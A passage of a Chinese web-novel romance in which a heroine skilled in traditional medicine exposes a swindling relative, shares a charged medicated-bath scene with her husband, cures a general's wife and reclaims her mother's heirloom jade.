白凝凝开了免提,声音清晰地传了出来。 她不紧不慢地说道:“李院长,是我。想跟您打听个人,我这里有个亲戚,叫周玉杰,说是省城来的大老板,要做电风扇生意,想找我们家投资二十万。您人脉广,能不能帮忙查查,这人和他的项目,靠不靠谱啊?” 电话那头的李院长何等精明,一听就知道是怎么回事了。他立刻严肃地说道:“白神医你放心!我马上就让省城分院的同志去查!这种事可不能马虎,现在外面打着投资旗号的骗子多得很!半个小时,我保证给你回话!” 挂了电话。 全场死寂。 周玉杰的额头上,已经布满了密密麻麻的冷汗。他双腿发软,看着白凝凝的眼神,像是看到了鬼。 这个女人……太可怕了! 她不仅自己油盐不进,竟然还能直接调动军区总医院的院长去帮她查案?!她到底是什么来头?! 周玉芬和傅向阳也彻底傻眼了。 他们本以为,这是他们家反击白凝凝,重新拿回家庭话语权的好机会。 却没想到,被白凝凝轻描淡写几句话,就给彻底堵死了! 现在,球踢回给了周玉杰。 他敢等那半个小时吗? 答案是,他不敢。 周玉杰的心理防线已经彻底崩溃,他现在只想立刻逃离这个可怕的地方! 他勉强挤出一个比哭还难看的笑容:“那……那个,我突然想起来厂里还有点急事……投资的事,我们改天再聊,改天再聊!” 说完,他头也不回地就想往自己的车上跑。 “站住!” 傅清寒冰冷的声音,如同来自地狱的审判,让他瞬间僵在原地,动弹不得。 “想来就来,想走就走?”傅清寒一步步逼近,高大的身影带来泰山压顶般的压迫感,“打着我的旗号招摇撞骗,现在想就这么算了?” 他看了一眼手表,对身后的警卫员命令道: “把他给我扣下!等李院长的电话来了,如果查出他有诈骗嫌疑,直接扭送军事法庭!” 第12章 失控的药浴(上) 傅清寒的命令一下,他身后的两名警卫员立刻上前,一左一右,像铁钳一样架住了瑟瑟发抖的周玉杰。 “不!姐!姐夫!救我啊!”周玉杰彻底慌了,他没想到傅清寒竟然来真的,直接要动用军事法庭!那可是能把牢底坐穿的地方! 周玉芬也吓傻了,那毕竟是她的亲弟弟!她扑上去想拉扯警卫员,哭喊道:“清寒!你不能这么做!他、他就是开个玩笑,他不敢的!你快放了他!” 傅清寒眼神冰冷,不为所动。他太清楚这种蛀虫的危害,今天放了他,明天他就能捅出更大的窟窿。 傅建军的脸色也是一阵青一阵白,他知道,傅清寒的脾气一旦上来,谁也劝不住。更何况,这件事是周玉杰理亏在先,还差点连累整个傅家!他狠狠心,拉住还在撒泼的妻子,低吼道:“别闹了!还嫌不够丢人吗?!” 就在这时,白凝凝手中的“大哥大”再次响了起来。 她接通免提,李院长那带着怒气的声音清晰地传来:“白神医!查到了!那个周玉杰,就是个彻头彻尾的骗子!他根本没什么电风扇厂,倒是欠了一屁股的赌债!省城好几家单位都被他用类似的空壳项目骗过钱,公安局那边早就挂上号了!你们千万别上当!” 这通电话,成了压死骆驼的最后一根稻草。 赌徒?凝凝眉头微微一挑,这下穿帮了吧……看他们还有什么脸面。 周玉杰面如死灰,彻底瘫软下去,像一滩烂泥被警卫员拖走。周玉芬听到“赌债”两个字,眼前一黑,差点晕厥过去。她引以为傲的“大老板”弟弟,竟然是个赌棍加骗子!她的脸,今天算是彻底丢尽了! 傅清寒冷冷地看着傅建军夫妇:“管好你们的亲戚。再有下次,就不是扭送军事法庭这么简单了。”说完,他不再看那一家子烂事,牵起白凝凝的手,转身走回自己的小院,将所有的喧嚣和狼狈都关在了门外。 门一关上,傅清寒身上那股凌厉的煞气才缓缓收敛。 傅清寒看着白凝凝,眼神里带着一丝不易察觉的歉意:“抱歉,让你应付这些。” “我早就说过……夫妻一体,”白凝凝俏皮地眨了眨眼,重复了他之前的话,“你的麻烦就是我的麻烦,你的事自然就是我的事啦。” “你说过的话记得还挺清楚的?”傅清寒见她维护自己,平时紧绷的脸色柔和不少。 “那当然了,君子一言驷马难追,说过的话怎么能不算数呢。” “那好,你刚刚说家里的钱都归你管?”他语调轻松,就像是在说今天天气不错一样。 “这……”凝凝一哂,“这不是顺嘴一说,不然怎么治你大嫂?他们讨厌死了,凭什么要你的钱啊。我瞧着他们一家就盼着吃你的绝户呢,你可长点心吧。” “是,”傅清寒承认了。其实他心里也清楚,只是他之前并不太在意,在他看来,自己孤身一身,财物终究是身外之物,给了大哥一家也总归是还是傅家的。 但是现在……情况不同了,他成家了,有了妻子……还是一个这个聪慧,又不失可爱,处处维护自己的小姑娘…… 看着她说着让自己长点心,腮帮子气得鼓鼓的,一阵义愤填膺的样子。傅清寒的心,像是被羽毛轻轻搔刮了一下,又痒又麻。 “以后不会了,以后咱们家的钱都归你管。”他说着,站起身,从柜子里拿出自己的存折,“收好了,想买什么自己拿。” “这……”他这样坦诚,倒是把她整不会了。 “你说的夫妻一体,你才刚刚说的咱们家的钱归你管,现在就不算了吗?” 他微微挑眉,语调中带着些许戏谑,他本就长得极为俊美,平时冷了些,此时像是大理石雕塑忽然有了一丝活气,凝凝感觉自己的耳根有些热…… 真是的……长得这么好干嘛……简直就是犯规…… 她心里嘟囔着,却维持着嘴硬,“那好啊……这可是你说的,别说的好听,花的时候又心疼了。” 她抱怨着,红润樱唇在灯光下微微撅起,愈发明艳动人,傅清寒的喉结不自觉地滚动了一下。 “凝凝。” “干嘛?后悔了?”她抬头去看他,两人四目相接,她一下子撞进他黝黑如旋涡一样的眼瞳里…… 空气也在这一瞬间变得粘稠和微妙起来。 咳……凝凝快速移开视线,这个狗男人…大晚上的放什么电…… “你的治疗,该继续了。”他沙哑着嗓子,主动提起了正事,仿佛是为了掩饰此时暧昧的气氛。 白凝凝也像是得救一样,松了口气,点点头:“嗯,针灸只能疏通经络,但你亏损的根本,需要用药浴来补。去准备一下吧,一个大木桶,装满热水。” 半个小时后,傅家小楼的浴室里,热气蒸腾,弥漫着浓郁的药香。 白凝凝将自己秘制的药包扔进滚烫的热水里,原本清澈的水瞬间被染成了深褐色。 “进去吧。”她背对着门口,开口道。 身后传来悉悉索索的脱衣声,和一个男人略带迟疑的脚步声,最后是水声响起。 她耳朵忍不住红了起来。如果不是还要给他推拿穴位,她真想现在立刻拔腿走掉。 不行,白凝凝,她暗暗给自己打气,现在他是病人,你是医生,要专业一点,不能因为一点点男色就吓成这样,太跌份了,也太不专业了。 再说这也交易的一部分,这都是公事公办,要守住心神,不要胡思乱想,不要像个没见过世面的土包子一样…… 她给自己做足了心理建设,深吸一口气才转过身。 轰—— 眼前的景象,让她呼吸也不由得一窒,刚刚的心理建设全白费了。 只见他靠坐在巨大的木桶里,热水没过他的腰腹。他赤裸着上半身,古铜色的肌肤在水汽的蒸腾下,泛着一层诱人的光泽。宽肩窄腰,肌肉线条流畅而充满爆发力,那些狰狞的伤疤非但没有破坏美感,反而增添了极致的男性荷尔蒙。 他的黑发湿漉漉地贴在额前,平日里那双锐利如鹰的眸子,此刻也因为热气而染上了一层水汽,少了几分凌厉,多了几分……迷离。 第13章 失控的药浴(下) 这这这……她别开眼,不知道是不是水蒸气,还是屋里太热了,她直接觉得特血流一下子都涌上去,脸颊热得火辣辣的。 不行了,自己非走不可了,治疗什么的下次再说吧,反正也不着急。 “那啥,你自己泡吧。”扔下一句话,她就要落荒而逃。 “头有点晕。”傅清寒闷声道,他感觉全身的血液都在沸腾,一股燥热从丹田处升起,冲击着他的四肢百骸。 她停下脚步,背对着他,“正常反应,药力在发挥作用。” “你当医生的,不在一边看着吗?还是说……白医生你,心虚了?” “胡说!谁心虚了?”她听了这话,像是猫被人踩了尾巴,扭头用自以为恶狠狠的眼神瞪着他。 但水汽氤氲了她的眼眶,显得水灵灵的,没有半点威慑力,倒是更显得妩媚。 “是吗?那你跑什么?”傅清寒嗓音暗哑,少了几分凌厉,多了几分慵懒和性感。 凝凝被他激将成功,今天要是真的落荒而逃,以后在他面前还怎么抬得起头啊…… 她强迫自己移开视线,勉强恢复了医者的冷静和体面。 “行啊,这可是你说的。” 走到木桶边,蹲下身,“现在,我需要帮你推拿穴位,引导药力进入经脉。你……忍着点。” 她伸出纤细的手,手指还有点微颤,带着一丝清凉,轻轻地落在了他滚烫的胸膛上。 “滋啦——” 仿佛是凉水滴进了滚油里,傅清寒的身体猛地一颤! 白凝凝指尖细腻的触感,像一股强劲的电流,瞬间击中了他身体的最深处!他紧紧地咬住牙关,手背上青筋暴起,才能勉强克制住自己身体的本能反应。 白凝凝察觉到他身子在一瞬间变得僵硬,心里暗自得意,让你刚刚调戏我。 天道循环,报应不爽。这么快就轮到你了吧? 她的手指顺着他的胸膛,一路向下,精准地在他腹部的几处大穴上,不轻不重地按压、旋转。 她的动作很专业利索,但结束后,看他紧紧抿着的唇线,知道他不好受,心里起了促狭的恶趣味,故意用指尖勾画着他的胸膛。 “白凝凝!”他从喉咙深处挤出她的名字,声音沙哑得不像话。 “干嘛?叫那么大声干嘛?不是你自己要治疗的?现在受不了了?”她的声音轻柔,像是一把毛茸茸的小刷子轻轻扫在他的心尖上…… 他是一个正常的、正值壮年的男人!更是一个常年禁欲,身体里却压抑着猛兽的男人! 药力在体内横冲直撞,理智在她的指尖下节节败退。 指尖下的皮肤愈发滚烫,她得意抬起头,正好对上他那双烧得通红的眼眸。那里面,翻涌着她看不懂的、却让她心惊肉跳的狂潮。 不好,玩脱了……她下意识把手抽回来,但下一秒,她的手腕被一只滚烫的大手猛地抓住! 力道之大,仿佛要将她的骨头捏碎! “你……你想干嘛……”白凝凝心头一跳。 傅清寒却已经将她猛地往下一拉! 白凝凝猝不及防,整个人向前倾去,瞬间跌入一个滚烫而坚硬的怀抱。她的脸颊,不偏不倚地撞上他湿漉漉的、结实的胸膛,鼻尖充斥着浓烈的、霸道的男性气息和药草的混合香味。 “傅清寒!你疯了!”她又羞又恼,想挣扎起身。 “别动。”他的声音沙哑得不像话,另一只手紧紧地扣住了她的后腰,将她牢牢地禁锢在自己怀里。 两人以一种极其暧昧的姿势紧贴着,隔着薄薄的衣衫,她能清晰地感受到他身体里那股即将喷发的、骇人的力量和……滚烫的欲望。 白凝凝的心,乱了。 她仰起头,看着他那张近在咫尺的、俊朗非凡的脸。他的黑眸深处,是她从未见过的、浓稠得化不开的漩涡。 他缓缓低下头,滚烫的呼吸喷在她的唇上。 “凝凝……我……” 就在那滚烫的唇即将落下的瞬间—— 他的头,不受控制地低了下去…… 傅清寒的动作,猛地顿住了! 他看着怀里那双因为惊慌而微微睁大的、清澈的杏眼,看着她那因为紧张而轻咬着的、娇嫩的红唇,他心中那头即将出笼的猛兽,竟被这副无辜又懵懂的模样,硬生生地勒住了缰绳! 她是他的妻子,他可以吻她,也轻易能得到她。 但……然后呢? 是让她因为这场近乎强迫的亲密而恐惧?还是让她觉得,她治好他的代价,就是献上自己的身体? 不。 这不是他想要的。 他要的,不是一场交易,更不是一次冲动下的占有。 他那双赤红的眼眸里,翻涌的欲望与挣扎的理智在疯狂交战!额角的青筋暴起,浑身的肌肉因为极度的克制而紧绷着,发出痛苦的颤抖! 最终,理智,或者说是一种连他自己都未曾察觉的、名为“珍视”的情感,占据了上风。 他猛地松开了她,像是甩开一个烫手的山芋,狼狈地别开脸,不敢再看她那副能让他彻底失控的模样。 “出去!”他从牙缝里挤出两个字,声音沙哑得几乎听不清,充满了痛苦的隐忍。 白凝凝被他这突如其来的“刹车”弄得一愣,她踉跄着后退一步,扶着墙壁才站稳,大口地呼吸着,试图平复自己狂乱的心跳。刚才那一刻,她真的以为…… 她抬头看着那个依旧坐在木桶里,却将头埋在双臂之间,肩膀微微颤抖,仿佛在与全世界对抗的男人,心里像是突然被塞进去一团热乎乎的稻草,又温热又杂乱。 她第一次意识到,这个看似冷酷、霸道的男人,内心深处,对她存着一份令人动容的……尊重和守护。 她没有再多说什么,只是默默地转身,走出了这间充满了暧昧和……紧张气息的浴室。 而她不知道的是,在她关上门的那一刻,傅清寒终于忍不住,一拳狠狠地砸在了冰冷的水面上,溅起大片水花。 这个女人……简直是他的劫! 第14章 夫人的“鬼上身” 那晚的药浴,像一颗投入两人心湖的石子,激起了圈圈涟漪。 第二天,傅清寒和白凝凝之间的气氛,变得有些微妙。 两人都默契地,没有再提起那晚浴室里的失控与克制,仿佛昨晚上不存在一样。 傅清寒不再像以前那样,只是把她当成一个需要履行协议的“合作伙伴”,他看她的眼神里,多了一丝自己都没察觉的、小心翼翼的温柔。 而白凝凝再看他时,总觉得有些不自在,再也没办法仅仅视他为一个需要医治的“病人”,有时候两人目光不小心相遇时,她总会想到那天晚上他炽热的胸膛和滚动的喉结…… 这个男人实在是太要命了…… 她不争气地脸红,心跳加速,就像是胸膛里踹了一只小兔子…… 咳咳咳,不行,别人看病要给钱,他看病自己这条老命都要倒贴赔给他了…… 两人表面看着没什么,但其实都别别扭扭,一开始谈及交易时候的那份坦诚荡然无存。 就在这种微妙的氛围中,一个意想不到的访客,打破了小院的宁静。 来人是军区总医院的院长,李建国。 与上次见面时那副审视和考量的姿态不同,这一次,李院长脸上写满了焦急和……一丝近乎恳求的期盼。 “傅团长,白……白神医!”一进门,李院长就顾不上寒暄,开门见山地说道,“这个无事不登三宝殿啊。实话说了吧,我今天是来求助的!我们院里,遇到了一个极其棘手的病人,所有的专家都束手无策了!” 傅清寒给李院长倒了杯茶:“不急,李院长慢慢讲。” 顾不上喝水,李院长开口:“是陈老总的夫人,林淑婉女士。”他脸上满是愁容,“您二位可能不知道,陈夫人近半年来,行为举止变得十分异常。时而整夜不睡,在房间里来回走动,嘴里念念有词;时而又会突然大哭大笑,状若疯癫。家里人都以为她是精神上出了问题。” 他苦着脸继续说道:“我们院里,上到神经内科主任,下到精神心理科专家,所有的检查都做了个遍,脑CT、核磁共振,什么毛病都查不出来!可陈夫人的情况,却越来越严重了。陈老总心急如焚,甚至……甚至都开始相信是‘中了邪’,私下里请了‘大师’来跳大神,闹得家里鸡飞狗跳!” 傅清寒听了,眉头一皱,陈老总是什么人,那是开过的元勋,在全国都是排的上号的将军。她的夫人现在看病请大师,这传出去像什么话啊。 李院长注意到他的脸色,“陈老总也是气得不行,但现在实在是没办法,不然我也不能上门来叨扰,所以……”他看向白凝凝,眼神里充满了希冀,“上次您在医院露的那一手,让我印象太深刻了!我想……能不能请您,帮忙看一看?” 白凝凝没有立刻答应,她只是淡淡地问道:“病历带来了吗?” “带来了!带来了!”李院长连忙从公文包里,拿出一叠厚厚的病历。 白凝凝接过来,一目十行地快速翻阅着。上面全是各种西医的检查数据和诊断分析,结论无一例外,都是“未见明显器质性病变”。 陈院长也在一边解释,“是啊,检查了一圈都没问题。我们实在是没法给陈老总交代啊。” 她将病历放下,没有去看那些复杂的数据,既然结果都没问题,再看多少遍都没用的。她抬起头,向李院长问了几个看似毫不相关的问题。 “陈夫人最近,是不是特别喜欢吃甜食,尤其是晚上?饭量是不是比以前大了很多,但人却越来越消瘦?” 李院长一愣,仔细回想了一下,连忙点头:“对对对!陈老总提过一嘴,说夫人最近口味变得很怪,特别嗜甜,像个小孩子一样!” 白凝凝又问:“她是不是经常觉得口干舌燥,总想喝水?而且皮肤干燥,偶尔会发痒?” “是是是!就是这样!”李院长越听眼睛越亮,这些细节病历上根本没有,都是他听陈老总私下抱怨时提到的,没想到这位白神医竟然问得如此精准! 白凝凝了然于心,她放下了病历,语气笃定地给出了一个让所有西医都匪夷所思的诊断: “李院长,你回去告诉陈老总。他夫人得的,不是‘鬼上身’,也不是什么精神病。而是中医里所说的,极重度的‘消渴症’。” “消渴症?”李院长一脸茫然。 “换成你们西医的说法,就是糖尿病。”白凝凝耐心地解释道,“而且是血糖长期处于极高水平,没有得到有效控制,从而引发了严重的神经系统并发症,导致了她的精神行为异常。你们的仪器只能检测出她血糖偏高,但无法将它和‘疯癫’联系起来,所以才一直查不出病因。” 此言一出,李院长如遭雷击! 糖尿病引发的精神障碍?!他似乎曾经在国外的医学杂志上看到过,但也只是只言片语的猜测。 他看着眼前这个年纪轻轻,却仿佛能洞悉一切的女孩,本来还有点动摇的心一下子就安定下来。 毕竟自己亲眼看到过她治疗王连长,和孙立病情的精准判断。 “那……那可有办法医治?”他急切地问。 “不难。”白凝凝走到书桌前,拿起纸笔,刷刷刷地写下了一个药方,方子上的药材,都是些诸如黄芪、山药、知母之类的常见草药。 “按这个方子抓药,一日三次,文火慢煎。另外,也是最重要的一点,”她将药方递给李院长,眼神变得无比郑重,“从今天起,严格控制陈夫人的饮食,所有含糖的、油腻的食物,一概不准碰!主食以粗粮为主。让她多喝水,多走动。” “就……就这么简单?”李院长看着那张平平无奇的药方,有些不敢相信。 “病根找到了,对症下药,自然简单。”白凝凝云淡风轻地说道。 得救了,得救了,李院长如获至宝,拿着药方,对白凝凝和傅清寒千恩万谢后,火急火燎地赶回了医院。 傅清寒将这一切都看在眼里。他看着自己的小妻子,三言两语之间,就解决了让整个军区总医院都束手无策的难题,那副自信从容的模样,比任何时候都更耀眼。 他心中,涌起一股难以言喻的骄傲。 三天后,李院长的电话又一次打了过来。 电话那头的他,声音激动得几乎要破音: “白神医!神了!真的神了!陈夫人的‘疯病’,全好了!今天一早,人就彻底清醒了,还能下床散步了!我们给她测了血糖,已经降到了正常范围!您……您简直就是华佗在世啊!” 而李院长不知道的是,他的这通电话,不仅让白凝凝在军区总院内部彻底封神,也让“白神医”这个名字,深深地烙印在了陈家所有人的心里。 白凝凝和傅清寒也不知道因为这件事,让她的名字在陈家那里挂了号,对双方来说也许都是天大的福气。 第15章 贵人多忘事,把我的东西还给我 白凝凝治好了陈夫人的“疯病”,这个消息像长了翅膀一样,一夜之间,飞遍了整个军区大院。 这一下,大院里的风向,彻底变了。 之前那些在背后指指点点,说白凝凝“不知廉耻”、“改嫁小叔”、“一个乡下丫头走了狗屎运”的声音,一夜之间,消失得无影无踪。 取而代之的,是敬畏、是好奇,甚至是……巴结。 这天下午,白凝凝从工作室回来,刚走到小院门口,就碰到了从主宅出来的周玉芬,以及她身边最要好的牌搭子——王婶。 王婶以前见到白凝凝,眼皮子都懒得抬一下,还曾在背后跟周玉芬嘀咕:“一个黄毛丫头,还真当自己是傅家的小婶婶了?没规没矩的。” 可今天,她一看到白凝凝,立刻像换了个人似的,满脸堆笑地迎了上来,那热情劲儿,比见到亲闺女还亲。 “哎哟!这不是凝凝吗?刚回来呀?”王婶一把拉住白凝凝的手,亲热地拍着,“你看看这孩子,真是越来越出息了!年纪轻轻的,本事这么大!连陈夫人都让你给治好了,真是我们大院的骄傲啊!” 她一边说,一边还用胳膊肘捅了捅身旁脸色铁青的周玉芬,给她使眼色:“玉芬,你看看,你真是好福气,有这么个能干的弟妹!以后你们傅家,可真是要更有威风了!” 周玉芬的脸,一阵青一阵白。 她听着王婶这180度大转弯的奉承,只觉得脸上火辣辣的,像被人当众扇了几个耳光。这个王婶,前几天还跟自己一起骂白凝凝是“扫把星”,今天就改口叫“骄傲”了?真是势利眼! 白凝凝不动声色地抽回手,对王婶这副嘴脸只觉得好笑。她淡淡地点了点头,算是打了招呼。 就在这时,另一个军属李嫂也提着菜篮子路过,看到这一幕,也赶忙凑了上来。 “凝凝回来啦!哎呀,真是了不起!我听我们家老张说,现在军区总院的李院长,都对你赞不绝口,说你是‘在世华佗’呢!”李嫂满眼崇拜地看着白凝凝。 “哪里哪里,李嫂过奖了。”白凝凝客气地回应。 王婶眼看风头被抢,连忙又挤上前来,拉着白凝凝的手不放,压低声音,神秘兮兮地说道:“凝凝啊,婶子跟你说个事。我那个外甥媳妇,最近不是老失眠吗,吃啥药都不管用。你看……你能不能给瞧瞧?婶子知道你忙,不让你白瞧,我们给包个大红包!” 她说着,还一个劲地给白凝凝使眼色,仿佛能请到白凝凝看病,是什么天大的荣耀。 看着眼前这张前后反差巨大的谄媚嘴脸,白凝凝心中冷笑。 她还没开口,一直沉默的周玉芬,终于忍不住了。她看着自己昔日的“盟友”,如今却像哈巴狗一样围着白凝凝转,心中的那股气,再也憋不住了。 她阴阳怪气地开口道:“王家的,你找她看什么病?她一个连医学院都没上过的野路子,万一给你看坏了,你找谁说理去?我们傅家的脸,可丢不起!” 她这话,既是嫉妒白凝凝出风头,也是在提醒王婶,别忘了自己才是“傅家长媳”,别站错了队! 王婶脸上的笑容一僵,尴尬地不知如何是好。 然而,白凝凝听了这话,非但没生气,反而笑了。 她转过头,看向周玉芬,那双清澈的眸子,平静无波,却带着一丝让人心头发毛的审视。 “大嫂说的是。”她缓缓开口,声音不大,却足以让周围几人都听得清清楚楚,“我的医术,确实是野路子,比不上大嫂您……精于算计。” 周玉芬脸色一变:“你什么意思?!” 白凝凝像是没看到她要吃人的表情,话锋一转,语气变得轻松起来,仿佛只是在闲聊家常: “哦,对了,大嫂。说起算计,我倒是想起一件事。” 她的目光,扫了一眼旁边的王婶和李嫂,然后又落回到周玉芬身上,脸上带着一丝恰到好处的、天真的疑惑。 “上次我帮大哥解决了德国专家的事,您亲口答应,要把我父母留下的所有遗产,包括那些年的抚恤金,一分不少地还给我,还有字据为证。这都过去好些天了,您日理万机的,该不会是……忘了吧?” 轰! 这句话,像一颗平地惊雷,在王婶和李嫂耳边炸响! 什么?! 周玉芬竟然还贪了烈士孤女的遗产和抚恤金?! 这……这可是要被人戳脊梁骨骂的缺德事啊! 王婶和李嫂看周玉芬的眼神,瞬间就变了!那眼神里,充满了震惊、鄙夷,还有一丝“原来你是这种人”的恍然大悟! 周玉芬的脸,“唰”的一下,血色尽失! 她怎么也没想到,白凝凝这个小贱人,竟然会当着外人的面,把这件事给捅出来!这简直是把她的脸皮,活生生地撕下来,扔在地上踩啊! “我……我没忘!”她嘴唇哆嗦着,色厉内荏地狡辩道,“那……那不是最近忙嘛!我正准备给你送过去呢!” “哦?是吗?”白凝凝故作惊讶,“我还以为大嫂觉得,我父母的那些遗物,都是些不值钱的‘破烂’,不值得您亲自跑一趟呢。” 凝凝的话,直接把周玉芬所有的退路都给堵死了! 周玉芬看着白凝凝那张带笑的、却比冰还冷的脸,气得浑身发抖,恨不得扑上去撕了她! 但她不能。 她不仅不能,她还得立刻双手奉上,不然她“侵吞烈士遗产”的恶名,明天就能传遍整个军区大院! 在王婶和李嫂那鄙夷又看好戏的目光中,她只能从牙缝里,一个字一个字地挤出来: “知道了!少不了你的!” 说完,她再也待不下去,几乎是落荒而逃般地,冲回了主宅。 王婶和李嫂看着她的背影,面面相觑,都从对方眼中看到了鄙夷和疏远。 白凝凝看着这出好戏,心中冷笑。 她知道,从今天起,周玉芬在这个大院里的“好名声”,算是彻底臭了。 —— 这天下午,周玉芬特意等到傅老爷子和家里所有主要人物都在的时候,拿出那个从银行的保险柜里,取出的封存已久的皮箱。 客厅里,气氛有些凝重。 楚小小听说了上午的事,柔柔弱弱地对傅向阳说:“向阳哥,你看凝凝姐,现在可真威风。也不知道那箱子里有什么宝贝,值得她这么兴师动众的。” 傅向阳冷哼一声,低声道:“能有什么?不过是些破烂东西,她一个乡下来的,没见过世面罢了。” 周玉芬心不甘情不愿地打开了皮箱,将里面的东西一件件摆在桌上。 “喏,都在这儿了!”她把皮箱往前一推,没好气地说,“两张存折,总共三百二十六块五毛钱。还有你妈那几件过时的银首饰,一些不值钱的纪念章,都在这儿了,一分都没动你的!” 她的语气里,充满了施舍般的傲慢。 傅向阳和楚小小看着桌上那些确实“不值钱”的东西,嘴角的讥讽更深了。就为了这点东西,还惊动了爷爷和全家人,给她就是了,真是小家子气。 然而,白凝凝却连看都没看那些存折和首饰一眼。她的目光,在皮箱里扫视了一圈,随即,抬起头,眼神清冷地看着周玉芬,缓缓开口: “还少了一样东西。” 周玉芬的心猛地一跳,脸上却强作镇定:“胡说八道!就这些!白凝凝,你可别得寸进尺,想讹人啊!” “讹人?”白凝凝笑了,那笑容里,带着一丝洞悉一切的了然。 周玉芬骗别人也许看不出来,但她可是穿书的。 她不紧不慢地说道:“我妈妈留下的遗物里,还有一个小叶紫檀的木盒,里面装着一块她贴身戴的暖玉吊坠。那块玉,冬暖夏凉,是外婆传给她的。” 她顿了顿,目光变得锐利起来:“大嫂,你该不会是……把它当成不值钱的‘破烂’,随手扔了吧?” 她当然没扔! 那块暖玉的神奇,周玉芬早就见识过!她嫌吊坠的款式老旧,便取了下来,藏在了自己最隐秘的首饰盒深处,准备找个好师傅,重新镶嵌一下自己戴!她以为白凝凝一个小丫头片子,根本不记得这些细节! 傅向阳也皱起了眉:“白凝凝,你别无理取闹!哪有什么暖玉?我怎么从来没听我妈说起过?” 楚小小更是立刻“善解人意”地打圆场:“凝凝姐,你是不是记错了?阿姨肯定不会拿你的东西的。再说了,一块玉而已,也不是什么值钱的东西,你就别为难阿姨了。” 她这话,明着是劝解,暗地里却是坐实了白凝凝“小题大做”、“无理取闹”。 “一块玉而已?”白凝凝的目光冷冷地扫向楚楚,“你不是我白家人,当然不知道。那块暖玉,是我白家的传家宝。见玉如见人,是我妈妈留给我唯一的念想!” 她不再理会这几个跳梁小丑,直接转向主位上的傅老爷子,眼眶一红,声音里带上了压抑的委屈和倔强: “傅爷爷,钱财首饰,我都可以不要。但那块暖玉,是我妈妈的命根子!如果找不回来,我……我真是无颜面对我地下的父母了!当初您答应过我父母,会护我一辈子,难道……就要眼睁睁看着我连母亲唯一的遗物都守不住吗?” 这番话,说得情真意切,又带着一丝“质问”,直接将了傅老爷子一军! “反了她了!”傅老爷子勃然大怒,拐杖重重一顿地,整个客厅都为之一静! 他虎目圆瞪,死死地盯着周玉芬:“连孩子的传家宝都敢贪!我们傅家的脸,都被你这个贪得无厌的女人丢尽了!周玉芬,我给你三分钟时间,你要是变不出来,就给我滚出傅家!” 这一下,是彻底撕破了脸! 周玉芬吓得魂飞魄散,双腿一软,差点跪在地上。她知道老爷子这次是动了真格。 在众人鄙夷和厌恶的目光中,她再也不敢狡辩,只能灰溜溜地跑回房间,从自己最隐秘的首饰盒深处,不情不愿地,拿出了那个小木盒。 白凝凝接过木盒,打开,那块温润的暖玉静静地躺在里面。一股微弱却精纯的暖流,瞬间从玉上传来,内力久旱逢甘霖,得到了巨大的滋养,整个人都感到了一阵舒畅。 就是它! 白凝凝心中一喜。有了这块暖玉,她恢复功力,指日可待! 她收好木盒,对着傅老爷子深深一鞠躬:“谢谢傅爷爷为我做主。” 然后,她看也没看脸色一阵青一阵白的周玉芬和傅向阳一眼,径直回了小院。 第16章 全院束手,她一针定乾坤 当晚,傅清寒回来,看到她正坐在灯下,把玩着那块暖玉,脸上带着满足的浅笑,他那颗冰冷的心,也不由得软了下来。他走上前,有些不自然地开口:“咳……今晚军区礼堂放电影,《办公室的故事》。” 白凝凝心情好,也乐得逗他:“哦?傅团长这是在邀请我吗?” 傅清寒耳根一红,嘴硬道:“随你。” “那我就……勉为其难地陪你去吧。”白凝凝笑着站起身。 就在他们准备出门时,恰好碰到了从主宅里出来的傅向阳和楚小小。 傅向阳一看到傅清寒和白凝凝那副“郎才女貌”的模样,尤其是看到白凝凝脸上那抹自己从未见过的、发自内心的浅笑,心中就涌起一股说不出的酸涩和嫉妒。 “你们……这是要去哪儿?”傅向阳没话找话地问。 “看电影。”傅清寒言简意赅,微微蹙眉,往前走了一步,挡住他看向凝凝的视线。 一听到“看电影”三个字,傅向阳那股不服输的劲儿又上来了。 你们能看,我也能看。 他不能让小叔和白凝凝看扁了! 他转头对身旁的楚小小说道:“我们也去看电影!” 这几天傅向阳的冷淡早就让楚小小忐忑不安了,现在他突然提出邀约,她心头一热,自然是百般逢迎,立刻小鸟依人地挽住他的胳膊,声音甜得发腻:“好啊,向阳哥,你带我去哪儿,我就去哪儿。” 楚小小说着还想往凝凝这边看去,想让白凝凝看看,自己和傅向阳有多好。 但对方早就和傅清寒两人并肩离开了,施舍给她半点眼神。 —— 军区大礼堂里,人声鼎沸。 傅清寒和白凝凝坐在了最后一排的角落里。 灯光熄灭,屏幕亮起。 黑暗,是暧昧滋生的最佳温床。 就在这时,一只宽厚干燥的大手,忽然伸了过来,极其自然地,将她放在膝盖上的小手,整个包裹了进去,不容拒绝地,与她十指紧扣。 白凝凝浑身一僵,挣扎了两下,没挣开,便也放弃了。她任由他牵着,一颗心却像是要从胸膛里跳出来一样,“怦怦”作响。 而斜前方的另一对男女,则完全是另一番光景。 傅向阳根本没心思看电影,他的目光时不时地飘向后排那对在黑暗中依偎的身影,心中像打翻了醋坛子,酸涩无比。 他身旁的楚小小,此刻更是心急如焚。 她心里清楚,现在自己父亲因为经济问题被调查,她已经失去了最大的靠山和挑三拣四的资本!如果再不把傅向阳这棵大树牢牢抓住,她重生一次的优势将荡然无存! 她不能再等了!成败在此一举! 想到这里,楚小小彻底抛开了少女的矜持。 她一会儿“不小心”将头靠在他的肩膀上,一会儿又借着黑暗,用手指轻轻地、挠痒痒似的,在他的手背上画着圈圈。她身上那股甜腻的香水味和温软的身体,不断地刺激着一个正值壮年、又心情烦躁的男人的神经。 傅向阳本就因为父亲的事和对白凝凝的嫉妒而心烦意乱,此刻被她这么一撩拨,心中的那点郁结,仿佛找到了一个宣泄的出口。他的呼吸,也渐渐变得粗重起来。 电影终于在男女主角的拥吻中,落下了帷幕。 灯光亮起,傅清寒才如梦初醒般,松开了白凝凝的手,耳根还有些发烫。 而另一边,傅向阳则像是下定了什么决心,拉起楚小小的手,头也不回地,快步走出了礼堂。他没有回家,而是拉着她,径直走向了部队招待所的方向! 楚小小眼中闪过一丝得逞的笑意,温顺地跟了上去。她知道,男人都经不起撩拨,她的豪赌,赢了。 —— 回家的路上,傅清寒和白凝凝谁也没有说话,但空气中,却弥漫着一种心照不宣的暧昧气息。 就在两人快要走到小院门口时,傅清寒忽然停下了脚步。 “凝凝,”他看着她,声音因为紧张而显得有些沙哑,“电影……好看吗?” “还……还行吧。”白凝凝被他看得有些心慌,眼神躲闪。 “那……”傅清寒深吸一口气,缓缓低下头,鼻尖几乎要碰到她的,用一种极其认真、又带着一丝笨拙的语气,问道:“那……结局那个吻……你觉得,怎么样?” 白凝凝的脑子“嗡”的一声,一片空白。 然而,还没等她想明白—— “铃铃铃——!铃铃铃——!” 